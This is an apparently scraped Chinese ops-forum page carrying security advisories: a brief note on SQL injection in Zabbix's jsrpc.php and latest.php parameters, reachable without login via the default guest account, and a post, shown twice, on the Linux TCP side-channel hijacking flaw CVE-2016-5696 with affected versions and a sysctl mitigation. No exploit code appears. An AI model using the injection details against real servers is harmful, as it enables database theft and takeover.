zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82

Tcp信道远程劫持漏洞安全预警

运维技术Geek小A 发表了文章 • 0 个评论 • 574 次浏览 • 2016-08-16 21:26 • 来自相关话题

近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。

漏洞详情​

TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。Linux 内核版本3.6-4.7受到该漏洞的影响。
 

影响对象

Linux 内核版本3.6-4.7:
CentOS和Red Hat版本6、7受影响Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响; Debian7、8受影响
 

防御方法

采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 9999999992、加载设置
sysctl -p参考:

http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696 查看全部
近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。


漏洞详情​


TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。
但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。
Linux 内核版本3.6-4.7受到该漏洞的影响。
 


影响对象


Linux 内核版本3.6-4.7:
  • CentOS和Red Hat版本6、7受影响
  • Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响;
  •  Debian7、8受影响

 


防御方法


采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 999999999
2、加载设置
sysctl -p
参考:


http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696


IT技术错误分享!